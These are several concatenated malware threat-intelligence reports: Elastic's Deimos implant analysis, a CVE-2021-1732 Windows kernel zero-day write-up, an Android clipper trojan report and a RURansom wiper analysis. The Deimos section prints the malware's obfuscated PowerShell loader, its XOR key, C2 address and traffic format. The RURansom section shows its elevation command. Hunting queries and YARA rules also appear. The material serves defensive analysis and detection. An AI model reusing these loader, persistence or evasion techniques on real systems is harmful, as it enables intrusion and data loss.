this powerful implant. This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes. ## Overview The Elastic Intelligence & Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the Jupyter Infostealer malware (tracked elsewhere as Yellow Cockatoo and SolarMarker). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures. The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection. The analysis will leverage David Bianco's Pyramid of Pain analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs. ## Details On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis. **Note:** As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality. During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables, directories, an XOR cipher, and Base64 encoded commands. Below is an example of the new obfuscation tactics employed by the malware author to hinder analysis. ```powershell "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7);for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;" ``` The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script. Once this encoded file was read by PowerShell, it is deleted. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers. ```powershell FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7 ``` Additionally, there was the inclusion of another variable with a value of `hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX`. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the `$650326ac2b1100c4508b8a700b658ad7` file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted. To do this, we leveraged the FileDelete event configuration for Sysmon. By default, this creates a directory in the "C:\Sysmon" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used PSExec to access the folder (`psexec -sid cmd`). The file contained a single-line Base64-encoded string. As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools base64 and xortool, we're able to decode and decrypt the file: ```bash base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded -o 650326ac2b1100c4508b8a700b658ad7.decoded xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX -f 650326ac2b1100c4508b8a700b658ad7.decoded > 650326ac2b1100c4508b8a700b658ad7.xor ``` This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell. ```powershell $adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249b13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401; ``` Following the same process as before, we identified the XOR key and decoded the file. This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence. The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo. The particular samples that we've observed utilize the .NET hardening tool Dotfuscator CE 6.3.0 to hinder malware analysis. What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain. ## Analysis All indicators referenced in the analysis are located in the Indicators section. ### The Pyramid of Pain Before we get into the analysis, let's discuss the model we used to help guide our process. In 2013, security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change. The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact. ### File Hashes Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different. So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations. ### IP Addresses As other researchers have noted, we observed the same IP address used in the campaign. This IP address was first associated with malicious files on August 30, 2021. ``` IP: 216.230.232.134 City: Houston Region: Texas Country: United States (US) Location: 29.7633,-95.3633 Organization: AS40156 The Optimal Link Corporation ``` This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants. While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary. ### Artifacts The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An S.R.O. is a business designation for Slovakian businesses owned by a foreign entity. The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2). We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia. ### Initial Access We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys, are often hard-coded into the source code prior to compilation and require significant work to adjust. The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity. Additionally, the .Net assembly creates a string by listing all files located at `%USERPROFILE%\APPDATA\ROAMING`. This is stored as the `hwid` value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding. ### Persistence Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named `%APPDATA%\Microsoft\<random string>`. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named `<random string>.<random string>`, where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses. The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at `HKEY_CURRENT_USER\Software\Classes\<random string>`, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of `\Shell\Open\Command` that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example, `PowErShELl` was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. Its value matches the lowercase value of the random string used in the first key's path. The final persistence artifact is a `.LNk` file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named `a44f066dfa44db9fba953a982d48b.LNk`. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method `[Mars.Deimos]::interact()`. This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism. ### Command and Control Phase The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands. There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication. No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive. ``` POST / HTTP/1.1 Host: 216.230.232.134 Content-Length: 677 Connection: Keep-Alive ``` The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length. The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule, we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns. ### Main Loop Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the `ping` action. `ping` sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant. If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either "file" or "command". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks. For "file" tasks, the implant immediately performs another request using the `task_id` attribute from the task definition to retrieve the file. The implant expects an "exe" file, a "ps1" file, or a "module", which is a .Net Assembly file. When an "exe" is downloaded, it will be written to a file in the `%TEMP%\<RANDOM_NAME>.exe`, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval. When a "ps1" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input. Finally, "module" files are added to a "plugin manager" and executes the "Run" method. For "command" tasks, no additional request is required. The "command" value from the response contains PowerShell code that will be executed the same as the "ps1" file type. Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the "command" type. For larger scripts, the "file" type would be used. ### Tools Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform. ``` Comments: This installation was built with Inno Setup. Company Name: File Description: SlimReader Setup Product Name: SlimReader Product Version: 1.4.1.2 ``` While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire identified SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files. ### TTPs At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as Google Sneaky Redirects and Search Engine Optimization (SEO) Poisoning to trick users into installing the malware. SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for "free resume template", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, `free-resume-template.exe`. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file. Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets. ## Impact The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT&CK® framework. Other TTPs may exist; however, they were not observed during our analysis. ### Tactics - Resource Development - Initial Access - Execution - Persistence - Defense Evasion - Command and Control ### Techniques / Sub Techniques - Develop Capabilities - Malware, Code Signing Certificates or Obtain Capabilities - Malware, Code Signing Certificates - Drive-by Compromise - User Execution - Malicious File - Deobfuscate/Decode Files or Information ## Detection There is an existing detection rule that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques. ### Detection Logic Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame. ### New Detection Rules - Suspicious Registry Modifications - Abnormal File Extension in User AppData Roaming Path ### Hunting Queries These queries can be used in Kibana's Security -> Timelines -> New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities. This query will identify the initial dropped file containing the obfuscated installer. ``` file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}""" ``` This query will identify the unique “Hardware ID” file (`hwid`) that is created the first time the implant is run. This ID file is used to uniquely identify this installation. ``` file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}""" ``` This query will identify any files with a file extension of ten or more characters in the AppData\Roaming path. ``` file where file.path : "*\\appdata\\roaming\\*" and length(file.extension) >= 10 and process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe") ``` This query will identify a long string value containing the word "powershell" in the Registry. ``` registry where registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100 ``` ### YARA Rules We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post. ```yara rule Windows_Trojan_Deimos_DLL { meta: author = "Elastic Security" creation_date = "2021-09-18" last_modified = "2021-09-18" os = "Windows" arch = "x86" category_type = "Trojan" family = "Deimos" threat_name = "Windows.Trojan.Deimos" description = "Detects the presence of the Deimos trojan DLL file." reference = "" reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e" strings: $a1 = "\\APPDATA\\ROAMING" wide fullword $a2 = "{\"action\":\"ping\",\"" wide fullword $a3 = "Deimos" ascii fullword $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 } $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D } condition: all of ($a*) or 1 of ($b*) } ``` ## Defensive Recommendations The following steps can be leveraged to improve a network's protective posture. 1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat. 2. Review and ensure that you have deployed the latest Microsoft Security Updates. 3. Maintain backups of your critical systems to aid in quick recovery.
# Windows Kernel Zero-Day Exploit (CVE-2021-1732) Used by BITTER APT in Targeted Attack ## Background In December 2020, DBAPPSecurity Threat Intelligence Center found a new component of BITTER APT. Further analysis led to the discovery of a zero-day vulnerability in `win32kfull.sys`. The original in-the-wild sample targeted the latest Windows 10 1909 64-bit operating system at that time and also affects the latest Windows 10 20H2 64-bit operating system. This vulnerability was reported to MSRC and fixed as CVE-2021-1732 in the February 2021 Security Update. So far, a very limited number of attacks using this vulnerability have been detected, with victims located in China. ## Timeline - **2020/12/10**: DBAPPSecurity Threat Intelligence Center caught a new component of BITTER APT. - **2020/12/15**: Uncovered an unknown Windows kernel vulnerability in the component and started root cause analysis. - **2020/12/29**: Reported the vulnerability to MSRC. - **2020/12/29**: MSRC confirmed receipt and opened a case. - **2020/12/31**: MSRC confirmed the vulnerability is a zero-day and requested more information. - **2020/12/31**: DBAPPSecurity provided additional details to MSRC. - **2021/01/06**: MSRC thanked for the additional information and began working on a fix. - **2021/02/09**: MSRC fixed the vulnerability as CVE-2021-1732. ## Highlights According to our analysis, the in-the-wild zero-day has the following highlights: 1. **Targeting Windows 10**: - The in-the-wild sample targets the latest version of Windows 10 1909 64-bit operating system (compiled in May 2020). - The exploit aims to target several Windows 10 versions, from Windows 10 1709 to Windows 10 1909. - The exploit could be executed on Windows 10 20H2 with minor modifications. 2. **High Quality and Sophisticated Exploit**: - The exploit bypasses KASLR with the help of the vulnerability feature. - It is not a UAF vulnerability; the exploit process does not involve heap spray or memory reuse. The Type Isolation mitigation cannot mitigate this exploit, and it is undetectable by Driver Verifier, allowing successful exploitation even when Driver Verifier is turned on. - The arbitrary read primitive is achieved by the vulnerability feature in conjunction with `GetMenuBarInfo`. - After achieving arbitrary read/write primitives, the exploit uses Data Only Attack for privilege escalation, which current kernel mitigations cannot mitigate. - The success rate of the exploit is almost 100%. - The exploit restores all key struct members upon completion, preventing BSOD after exploitation. 3. **Cautious Usage by Attacker**: - The in-the-wild sample detects specific antivirus software before exploitation. - It performs an operating system build version check; if the current build version is below 16535 (Windows 10 1709), the exploit will not be called. - The in-the-wild sample was compiled in May 2020 and detected in December 2020, indicating a stealthy presence for at least 7 months. ## Technical Analysis ### Trigger Effect Running the in-the-wild sample in the latest Windows 10 1909 64-bit environment shows the current process initially runs under Medium Integrity Level. After executing the exploit code, the process runs under System Integrity Level, indicating that the Token of the current process has been replaced with the Token of the System process. Running the in-the-wild sample in the latest Windows 10 20H2 64-bit environment results in an immediate BSOD. ### Overview of the Vulnerability This vulnerability is caused by `xxxClientAllocWindowClassExtraBytes` callback in `win32kfull!xxxCreateWindowEx`. The callback causes the setting of a kernel struct member and its corresponding flag to be out of sync. When `xxxCreateWindowEx` creates a window with WndExtra area, it calls `xxxClientAllocWindowClassExtraBytes`, which returns to user mode to allocate WndExtra area. The attacker can call `NtUserConsoleControl` in the custom callback function, changing a kernel struct member to an offset and setting a corresponding flag. The unchecked offset value is then used by kernel code for heap memory addressing, causing out-of-bounds access. ### Root Cause The exploit code of the in-the-wild sample was completely reversed, and a proof of concept (POC) was constructed. The main execution logic of the POC involves calling `user32!_xxxClientAllocWindowClassExtraBytes` to allocate memory for WndExtra. If `win32kfull!xxxConsoleControl` is called in a custom callback, the WndExtra member changes to an offset, and a corresponding flag is set. The POC triggers a BSOD when calling `DestroyWindow`, as `win32kfull!xxxFreeWindow` checks the flag and calls `RtlFreeHeap` to free the WndExtra area, leading to an out-of-bounds access. ### Exploit The in-the-wild sample is a 64-bit program that first calls `CreateToolhelp32Snapshot` and other functions to enumerate processes to detect `avp.exe` (Kaspersky Antivirus). When detecting `avp.exe`, it saves some values to a custom struct but does not exit the process, allowing the full exploit function to be called. The exploit checks the current environment and obtains necessary addresses before calling the exploit function. The exploit registers two types of window classes: "magicClass" for creating the vulnerability window and "normalClass" for creating normal windows. It creates multiple windows, leaks addresses, and modifies the WndExtra member to an offset, allowing for arbitrary read/write operations. After achieving privilege escalation, the exploit restores the modified areas to prevent BSOD, ensuring a stable exploit process. ## Conclusion This zero-day vulnerability caused by the win32k callback can be used to escape the sandbox of Microsoft IE browser or Adobe Reader on the latest Windows 10 version. The quality of this vulnerability is high, and the exploit is sophisticated, reflecting the organization’s strong vulnerability reserve capability. ## Summary Zero-days play a pivotal role in cyberspace, often used as a strategic reserve for threat organizations. With the iteration of software/hardware and improvements in defense systems, the cost of exploiting zero-days is increasing. Vendors worldwide have invested significantly in detecting APT attacks, making organizations more cautious in using zero-days. The detection capability for zero-days is crucial in the APT confrontation process, and constant improvement is necessary. Cybersecurity requires ongoing efforts to strengthen defense capabilities. ## How to Defend Against Such Attacks The DBAPPSecurity APT Attack Early Warning Platform can find known and unknown threats, monitoring and analyzing malicious files or programs in real time. It conducts in-depth analysis of network traffic and employs various detection strategies to cover the entire APT attack chain effectively. ## Yara Rule ```yara rule apt_bitter_win32k_0day { meta: author = "dbappsecurity_lieying_lab" data = "01-01-2021" strings: $s1 = "NtUserConsoleControl" ascii wide $s2 = "NtCallbackReturn" ascii wide $s3 = "CreateWindowEx" ascii wide $s4 = "SetWindowLong" ascii wide $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A} $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1} $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1} condition: uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*) } ```
# Doctor Web Discovered a Clipper Trojan for Android August 7, 2018 Trojans for Microsoft Windows that replace wallet numbers in the clipboard during operations involving digital money and cryptocurrencies are widespread and well known for both computer users and information security specialists. In August 2018, Doctor Web virus analysts examined several malicious programs with similar functions designed for the Android mobile platform. Trojans capable of replacing digital wallet numbers in the clipboard in order to send money to cybercriminals instead of recipients are commonly referred to as “clippers”. Until recently, such malicious programs bothered Windows users only. Trojans for Android with similar functions are rarely seen in the wild. In August 2018, records of two modifications of a clipper Trojan Android.Clipper were added to the Dr.Web virus databases. They were dubbed Android.Clipper.1.origin and Android.Clipper.2.origin. These malicious programs pose a threat to Android users. Android.Clipper is capable of replacing the digital wallet numbers of the QIWI, WebMoney (R and Z), and Yandex.Money payment systems, as well as the Bitcoin, Monero, zCash, DOGE, DASH, Etherium, Blackcoin, and Litecoin cryptocurrencies. One of the examined modifications of Android.Clipper is guised as an application for Bitcoin digital wallets. Once the Trojan is launched on an infected device, it displays a fake error message and continues to operate in hidden mode. The Trojan hides its icon from the list of applications on the Android home screen. From now on, the malware can be found in the apps management section of the system preferences only. Both modifications of Android.Clipper are then launched automatically every time an infected smartphone or tablet is turned on. After a successful infection, the Trojan starts to track changes in the clipboard content. Once the user copies the digital wallet number to the clipboard, Android.Clipper sends the number to the command and control server. The malware then makes another server request waiting for the cybercriminals’ wallet number that needs to be added to the clipboard instead of the original one. The author of Android.Clipper actively sells Trojans of this family in hacking forums. Cybercriminals’ clients are free to use any application icon and name for every purchased copy of the malicious program. Thus, we can soon expect many modifications of these Trojans that will be spread by cybercriminals under the guise of harmless useful software. The virus writer claims in his advertisements that the malware’s functions include sending a report on the program operation to the Telegram app and a quick change of wallet numbers embedded into the clipboard using the FTP protocol. However, these features are not implemented in the Trojan itself. All the specified functions are provided for cybercriminals by the command and control center. Dr.Web for Android has successfully detected and deleted all the known modifications of the Android.Clipper Trojan family, so they do not pose any threat to our users.
# New Wiper Malware Attacking Russia: Deep-dive into RURansom Malware During our regular OSINT research, Cyble Research Labs came across a Twitter post by the MalwareHunter team, highlighting a ransomware named RURansom which was found attacking Russia. This malware is called RURansom as the file’s Program Database (PDB) contains a substring “RURansom”. The ongoing cyber warfare between Russia and Ukraine has witnessed a series of different Wiper Malware attacks including WhisperGate, HermeticWiper, and IsaacWiper malware. Adding to this existing list of destructive malware, researchers have now found the RURansom wiper malware. The RURansom malware operates by wiping the files present in the victim’s computer and spreads like a worm within the network or through connected USB devices. Finally, the malware drops ransom notes in the victim’s machine. ## Technical Analysis In this blog, we will conduct a deep-dive technical analysis of the RURansom Malware used in the attack. We have analyzed the sample SHA256-107da216ad99b7c0171745fe7f826e51b27b1812d435b55c3ddb801e23137d8, which is a 32-bit PE file written in the .NET programming language. ### Geolocation Identification The RURansom malware traces the IP location of the victim machine and is executed only if it detects an IP belonging to Russia. For IP identification, the malware uses two APIs named `https://api.ipify.org` and `https://ip-api.com` that are hardcoded within its code. ### Privilege Escalation After identifying the geolocation of the machine, the malware further checks for the Administrator rights in the infected machine. If the malware does not get Admin privileges, it tries to execute itself in the elevated mode using the following PowerShell command: ``` cmd.exe /c powershell stART-PRoceSS Assembly.GetExecutingAssembly().Location -veRB rUnAS ``` ### Discovery of Connected Drives The RURansom wiper malware proceeds to scan the drives in the victim’s system, including the removable and network drives connected to the victim’s machine. ### Encryption and Deletion After scanning the drives, the malware encrypts all the files from the identified directories and sub-directories in the victim’s machine. To prevent the recovery of the encrypted data from the backup files, the malware also deletes the .bak files from the infected machines. ### Encryption Algorithm Our research indicated that the malware uses the AES-CBC encryption algorithm to encrypt files in the victim’s machine. ### Ransom Note Finally, the RURansom malware drops a ransom note file named Полномасштабное_кибервторжение.txt (Full-blown_cyber-invasion.txt). The note is written in Russian and dropped in all the directories where the files are encrypted. ### Encryption Key As per our research, we have observed that the files are encrypted using a randomly generated AES key. The key is calculated using the hard-coded strings such as FullScaleCyberInvasion, RU_Ransom, and 2022 along with the Victim’s Machine Name and UserName. ### Spreading Mechanism The malware renames itself as Россия-Украина_Война-Обновление.doc.exe (Russia-Ukraine_War-Update.doc.exe) and spreads to all connected systems. ### Similarities with dnWiper After a deep-dive analysis of the Tactics, techniques, and procedures (TTPs) identified in the RURansom wiper malware, we have observed that it has several similarities with dnWiper. Researchers at TrendMicro also believe that the same Threat Actors are behind the two wiper malware. The major difference between the RURansom & dnWiper malware is that the latter targets only specific extensions such as .doc, .docx, .png, .gif, .jpeg, .jpg, .mp4, etc., while RURansom encrypts all file extensions. ## Conclusion The files encrypted by the RURansom wiper malware are irreversible. Based on the ransom note and the technical specifications of the malware, we suspect that it has been devised to target Russia, but the identity of the Threat Actors behind this malware is still unknown. Given the continued conflict and geopolitical tensions between Russia and Ukraine, we expect an increase in cyber warfare with both nations targeting each other. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the suggestions given below: - Don’t keep important files at common locations such as the Desktop, My Documents, etc. - Use strong passwords and enforce multi-factor authentication wherever possible. - Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. - Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without verifying their authenticity. - Conduct regular backup practices and keep those backups offline or in a separate network. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | |------------|--------------| | Execution | T1204 | | Discovery | T1518 | | | T1087 | | | T1083 | | Impact | T1485 | | | T1486 | | | T1565 | ## Indicators Of Compromise (IoCs) | Indicators | Indicator Type | |--------------------------------------------------------------------------------------------------|----------------| | 6cb4e946c2271d28a4dee167f274bb80 | MD5 | | 0bea48fcf825a50f6bf05976ecbb66ac1c3daa6b | SHA1 | | 979f9d1e019d9172af73428a1b3cbdff8aec8fdbe0f67cba48971a36f5001da9 | SHA256 | | fe43de9ab92ac5f6f7016ba105c1cb4e | MD5 | | 27a16e1367fd3e943a56d564add967ad4da879d8 | SHA1 | | 8f2ea18ed82085574888a03547a020b7009e05ae0ecbf4e9e0b8fe8502059aae | SHA256 | | 9c3316a9ff084ed4d0d072df5935f52d | MD5 | | c6ef59aa3f0cd1bb727e2464bb728ab79342ad32 | SHA1 | | 696b6b9f43e53387f7cef14c5da9b6c02b6bf4095849885d36479f8996e7e473 | SHA256 | | 191e51cd0ca14edb8f06c32dcba242f0 | MD5 | | fbeb9eb14a68943551b0bf95f20de207d2c761f6 | SHA1 | | 610ec163e7b34abd5587616db8dac7e34b1aef68d0260510854d6b3912fb0008 | SHA256 | | 01ae141dd0fb97e69e6ea7d6bf22ab32 | MD5 | | c35ab665f631c483e6ec315fda0c01ba4558c8f2 | SHA1 | | 1f36898228197ee30c7b0ec0e48e804caa6edec33e3a91eeaf7aa2c5bbb9c6e0 | SHA256 | | 8fe6f25fc7e8c0caab2fdca8b9a3be89 | MD5 | | a30bf5d046b6255fa2c4b029abbcf734824a7f15 | SHA1 | | 107da216ad99b7c0171745fe7f826e51b27b1812d435b55c3ddb801e23137d8 | SHA256 |
